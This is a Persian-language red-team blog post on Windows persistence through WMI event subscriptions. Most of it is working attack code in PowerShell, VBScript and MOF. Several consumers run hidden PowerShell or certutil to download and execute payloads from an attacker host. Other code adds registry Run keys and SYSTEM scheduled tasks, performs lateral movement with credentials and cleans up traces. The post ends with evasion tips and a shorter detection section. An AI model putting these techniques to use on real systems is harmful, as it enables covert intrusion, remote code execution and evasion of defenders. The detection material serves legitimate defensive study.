VulnCity

persistence در ویندوز با WMI

نویسنده: یاسین عابدینی · دسته: RedTeam · تاریخ انتشار: ۱۴۰۵/۴/۹

۱. معماری WMI

Windows Management Instrumentation یک framework بومی ویندوز است که internals سیستم را از طریق کلاس‌های قابل query در معرض دید می‌گذارد. WMI بر پایه استاندارد CIM (Common Information Model) ساخته شده و با زبان WQL (WMI Query Language) که شبیه SQL است interact می‌شود.

لایه‌های معماری WMI


┌─────────────────────────────────────────────┐
│           WMI Consumers / Clients            │
│     (PowerShell, wmic.exe, scripts, C++)     │
├─────────────────────────────────────────────┤
│              WMI API Layer                   │
│         (COM / DCOM / WinRM / MI)            │
├─────────────────────────────────────────────┤
│           WMI Service (winmgmt)              │
│   ┌──────────────┐  ┌────────────────────┐  │
│   │ Query Engine │  │ Event Subscription │  │
│   │   (WQL)      │  │     Engine         │  │
│   └──────────────┘  └────────────────────┘  │
├─────────────────────────────────────────────┤
│            CIM Repository                   │
│     %SystemRoot%\System32\wbem\Repository   │
│     (OBJECTS.DATA / INDEX.BTR / MAPPING*)   │
├─────────────────────────────────────────────┤
│           WMI Providers (.dll)               │
│   Win32, Registry, Perf, Security, ...      │
└─────────────────────────────────────────────┘
    

فایل‌های کلیدی

مسیرتوضیح
%windir%\System32\wbem\Repository\OBJECTS.DATA پایگاه داده اصلی CIM – اینجاست که subscription‌ها persist می‌شوند
%windir%\System32\wbem\Repository\INDEX.BTR ایندکس B-tree مربوط به OBJECTS.DATA
%windir%\System32\wbem\*.mof فایل‌های MOF پیش‌نصب شده
%windir%\System32\wbem\wbemcore.dll هسته اصلی WMI service

نکته مهم برای Red Team: تمام WMI subscription‌ها در OBJECTS.DATA ذخیره می‌شوند و با ریستارت سیستم مجدداً load می‌شوند – این همان مکانیزم persistence است.

۲. موتور WMI

WMI Service (winmgmt)

سرویس winmgmt که زیر svchost.exe اجرا می‌شود، مسئول موارد زیر است:

  • مدیریت CIM Repository
  • پردازش WQL query‌ها
  • اجرای Event Subscription Engine
  • ارتباط با WMI Provider‌ها

Event Subscription Engine – قلب Persistence

این موتور سه نوع event را handle می‌کند:

نوع Eventکلاس پایهمثال
Intrinsic __InstanceCreationEvent ساخته شدن یک process جدید
Intrinsic __InstanceModificationEvent تغییر در یک رجیستری key
Intrinsic __InstanceDeletionEvent حذف یک فایل یا object
Extrinsic Win32_VolumeChangeEvent اتصال USB drive
Timer __TimerEvent اجرا در بازه زمانی مشخص

Consumer‌های built-in

Consumer Classکار
CommandLineEventConsumerاجرای یک command line
ActiveScriptEventConsumerاجرای VBScript / JScript
LogFileEventConsumerنوشتن در یک فایل log
NTEventLogEventConsumerنوشتن در Event Log
SMTPEventConsumerارسال ایمیل

برای Red Team، دو consumer اول بیشترین کاربرد را دارند.

۳. WMI Permanent Event Subscription

سه رکن اصلی

ComponentClassنقش
Event Filter __EventFilter شرط trigger شدن – چه زمانی؟
Event Consumer CommandLineEventConsumer و غیره عمل اجرایی – چه کاری؟
Binding __FilterToConsumerBinding اتصال filter به consumer

مثال ۱: Trigger شدن با باز شدن notepad.exe


# ─── Step 1: Event Filter ───────────────────────────────────────────────────
$FilterArgs = @{
    EventNamespace = 'root/CIMV2'
    Name           = 'NotepadWatcher'
    Query          = "SELECT * FROM __InstanceCreationEvent WITHIN 5 " +
                     "WHERE TargetInstance ISA 'Win32_Process' " +
                     "AND TargetInstance.Name = 'notepad.exe'"
    QueryLanguage  = 'WQL'
}
$Filter = Set-WmiInstance -Namespace root\subscription `
                          -Class __EventFilter `
                          -Arguments $FilterArgs

# ─── Step 2: Event Consumer ─────────────────────────────────────────────────
$Command = 'powershell.exe -NoP -W Hidden -Command ' +
           '"IEX (IWR http://10.0.2.15:1337/stager.ps1 -UseBasicParsing)"'

$ConsumerArgs = @{
    Name                = 'NotepadConsumer'
    CommandLineTemplate = $Command
    RunInteractively    = $false
}
$Consumer = Set-WmiInstance -Namespace root\subscription `
                            -Class CommandLineEventConsumer `
                            -Arguments $ConsumerArgs

# ─── Step 3: Binding ────────────────────────────────────────────────────────
Set-WmiInstance -Namespace root\subscription `
                -Class __FilterToConsumerBinding `
                -Arguments @{ Filter = $Filter; Consumer = $Consumer }
    

مثال ۲: Timer-Based Persistence


# هر 60 دقیقه یک‌بار اجرا می‌شود

$TimerFilter = Set-WmiInstance -Namespace root\subscription `
    -Class __EventFilter `
    -Arguments @{
        Name           = 'HourlyTimer'
        EventNamespace = 'root/CIMV2'
        Query          = "SELECT * FROM __TimerEvent WHERE TimerID='HourlyCheck'"
        QueryLanguage  = 'WQL'
    }

Set-WmiInstance -Namespace root\subscription `
    -Class __IntervalTimerInstruction `
    -Arguments @{
        TimerID               = 'HourlyCheck'
        IntervalBetweenEvents = 3600000
    }

$TimerConsumer = Set-WmiInstance -Namespace root\subscription `
    -Class CommandLineEventConsumer `
    -Arguments @{
        Name                = 'HourlyBeacon'
        CommandLineTemplate = 'powershell.exe -NoP -W Hidden -EncodedCommand <BASE64>'
        RunInteractively    = $false
    }

Set-WmiInstance -Namespace root\subscription `
    -Class __FilterToConsumerBinding `
    -Arguments @{ Filter = $TimerFilter; Consumer = $TimerConsumer }
    

مثال ۳: ActiveScriptEventConsumer – اجرای VBScript


$ScriptBody = @'
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell.exe -NoP -W Hidden -Command IEX(IWR 'http://10.0.2.15/p.ps1')", 0, False
'@

$Consumer = Set-WmiInstance -Namespace root\subscription `
    -Class ActiveScriptEventConsumer `
    -Arguments @{
        Name            = 'VBSConsumer'
        ScriptingEngine = 'VBScript'
        ScriptText      = $ScriptBody
    }
    

مزیت VBScript consumer: فرآیند فرزند مستقیماً از scrcons.exe اجرا می‌شود نه از WmiPrvSE.exe، که برخی EDR‌های قدیمی‌تر را confuse می‌کند.

۴. MOF Files – روش پنهان‌تر

چرا MOF؟

Managed Object Format یک رویکرد جایگزین برای ایجاد WMI subscription است که مزای زیر را دارد:

  • Offline preparation: فایل MOF را می‌توان از قبل روی attacker machine نوشت
  • Evasion: بسیاری از ابزارهای enumeration معمولی subscription‌های ایجادشده از طریق MOF را به‌درستی نشان نمی‌دهند
  • Legibility: ساختار declarative دارد – مستقیماً CIM class instance تعریف می‌کند

ساختار MOF فایل


// ─── example_persist.mof ─────────────────────────────────────────────────
#PRAGMA NAMESPACE("\\\\.\\root\\subscription")
#PRAGMA AUTORECOVER

instance of CommandLineEventConsumer as $Cons
{
    Name                = "SvcUpdate";
    RunInteractively    = FALSE;
    CommandLineTemplate = "powershell.exe -NoP -W Hidden "
                          "-EncodedCommand <BASE64_PAYLOAD>";
};

instance of __EventFilter as $Filt
{
    Name           = "SvcUpdateFilter";
    EventNamespace = "root\\cimv2";
    Query          = "SELECT * FROM __InstanceCreationEvent WITHIN 3 "
                     "WHERE TargetInstance ISA \"Win32_Process\" "
                     "AND TargetInstance.Name = \"notepad.exe\"";
    QueryLanguage  = "WQL";
};

instance of __FilterToConsumerBinding
{
    Filter   = $Filt;
    Consumer = $Cons;
};
    

کامپایل روی سیستم قربانی

mofcomp.exe .\example_persist.mof

ترفند #PRAGMA AUTORECOVER

با افزودن این pragma، ویندوز مسیر MOF فایل را در رجیستری ثبت می‌کند:

HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\autorecover mofs

اگر Repository خراب شود و rebuild شود، سیستم این MOF را مجدداً اجرا می‌کند. این یعنی persistence حتی در سناریوی خرابی Repository هم دوام می‌آورد.

۵. تکنیک‌های پیشرفته Persistence

5.1 Namespace Hiding

به جای استفاده از root\subscription استاندارد، می‌توان یک namespace سفارشی و مخفی ایجاد کرد:


$NS = Set-WmiInstance -Namespace root -Class __Namespace `
    -Arguments @{ Name = 'StandardLibrary' }

Set-WmiInstance -Namespace root\StandardLibrary `
    -Class __EventFilter ...
    

5.2 Living off the Land – بدون PowerShell


instance of CommandLineEventConsumer as $Cons
{
    Name = "WinUpdate";
    CommandLineTemplate =
        "cmd.exe /c certutil -urlcache -split -f "
        "http://10.0.2.15/update.exe %TEMP%\\svc.exe && %TEMP%\\svc.exe";
};
    

5.3 ترکیب WMI با Registry Persistence


$ScriptText = @'
Dim oShell, oReg
Set oShell = CreateObject("WScript.Shell")
Set oReg   = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & _
             "." & "\root\default:StdRegProv")

oReg.SetStringValue &H80000001, _
    "Software\Microsoft\Windows\CurrentVersion\Run", _
    "WindowsUpdate", _
    "powershell.exe -NoP -W H -EncodedCommand <B64>"

oShell.Run "powershell.exe -NoP -W H -EncodedCommand <B64>", 0, False
'@
    

5.4 WMI + Scheduled Task (Double Persistence)


$ConsumerArgs = @{
    Name = 'TaskCreator'
    CommandLineTemplate =
        'schtasks /create /tn "WindowsDefenderUpdate" ' +
        '/tr "powershell.exe -NoP -W H -EncodedCommand <B64>" ' +
        '/sc ONLOGON /ru SYSTEM /f'
    RunInteractively = $false
}
    

5.5 Lateral Movement با WMI


$Options  = New-Object Management.ConnectionOptions
$Options.Username  = 'DOMAIN\Admin'
$Options.Password  = 'P@ssword'
$Options.EnablePrivileges = $true

$Scope = New-Object Management.ManagementScope("\\TARGET\root\cimv2", $Options)
$Scope.Connect()

$Process = [wmiclass]"\\TARGET\root\cimv2:Win32_Process"
$Process.Create("powershell.exe -NoP -W H -EncodedCommand <B64>")
    

5.6 پاک‌سازی اثرات (Cleanup)


Get-WMIObject -Namespace root\subscription -Class __EventFilter |
    Where-Object { $_.Name -eq 'NotepadWatcher' } | Remove-WmiObject

Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer |
    Where-Object { $_.Name -eq 'NotepadConsumer' } | Remove-WmiObject

Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding |
    Remove-WmiObject
    

۶. Detection

6.1 Artifacts در سیستم

Artifactمکانابزار بررسی
Subscription objects CIM Repository (OBJECTS.DATA) wmic, PowerShell, Sysinternals Autoruns
MOF compile log Event Log: Microsoft-Windows-WMI-Activity/Operational Event Viewer
Sysmon Events Event Log Sysmon
Process spawn WmiPrvSE.exe → child process EDR / Sysmon

6.2 Sysmon Event IDs مرتبط

Event IDتوضیح
19WmiEventFilter – ثبت یک Event Filter جدید
20WmiEventConsumer – ثبت یک Consumer جدید
21WmiEventConsumerToFilter – ثبت Binding
1فرآیند spawned شده از WmiPrvSE.exe

6.3 PowerShell Enumeration برای Defender


Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class __EventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding

Get-WMIObject -Namespace root -Class __Namespace | Select-Object Name

autorunsc.exe -accepteula -a w
    

6.4 ابزارهای تخصصی

  • Kansa – PowerShell-based incident response که WMI subscription‌ها را enumerate می‌کند
  • Invoke-WMIBackdoor (PowerSploit) – برای test محیط Red Team
  • Get-WMIPersistence (PowerForensics)
  • WMIExplorer – GUI برای مشاهده CIM Repository

6.5 Red Team Evasion Tips

  • از نام‌های فریبنده استفاده کن: WindowsDefender, SvcUpdate, WMIProvider
  • RunInteractively = FALSE را همیشه set کن
  • از EncodedCommand به جای plaintext PowerShell استفاده کن
  • Namespace سفارشی بساز تا از enumeration ابزارهای استاندارد فرار کنی
  • بعد از استقرار implant اصلی، subscription را پاک کن
  • مقدار WITHIN را روی اعداد کوچک (3-5 ثانیه) در production نگذار – خیلی noisy است

۷. MITRE ATT&CK Mapping

تکنیکIDتوضیح
WMI Event Subscription T1546.003 Persistence اصلی از طریق subscription
WMI T1047 Lateral Movement / Execution
LOLBAS – mofcomp.exe T1218 کامپایل MOF بدون نیاز به ابزار خارجی
Obfuscated Files T1027 EncodedCommand در CommandLineTemplate

نمونه‌های واقعی

عملیاتروش
SUNBURST (SolarWinds 2020) WMI subscription برای persistence در محیط‌های enterprise
Unit 8200 / Stuxnet MOF-based WMI persistence از سال 2007
APT29 / Cozy Bear WMI برای lateral movement در شبکه‌های دولتی

نتیجه‌گیری

WMI یکی از قدرتمندترین مکانیزم‌های persistence در ویندوز است به چند دلیل:

  • Ubiquitous – روی تمام نسخه‌های ویندوز موجود است
  • High-privilege – با سطح دسترسی SYSTEM اجرا می‌شود
  • Stealthy – در فایل باینری OBJECTS.DATA ذخیره می‌شود، نه رجیستری
  • Resilient – با reboot از بین نمی‌رود

برای یک Red Teamer، ترکیب WMI subscription + MOF AUTORECOVER + namespace hiding یک persistence layer بسیار مقاوم ایجاد می‌کند که شناسایی آن بدون ابزار تخصصی مثل Sysmon دشوار است.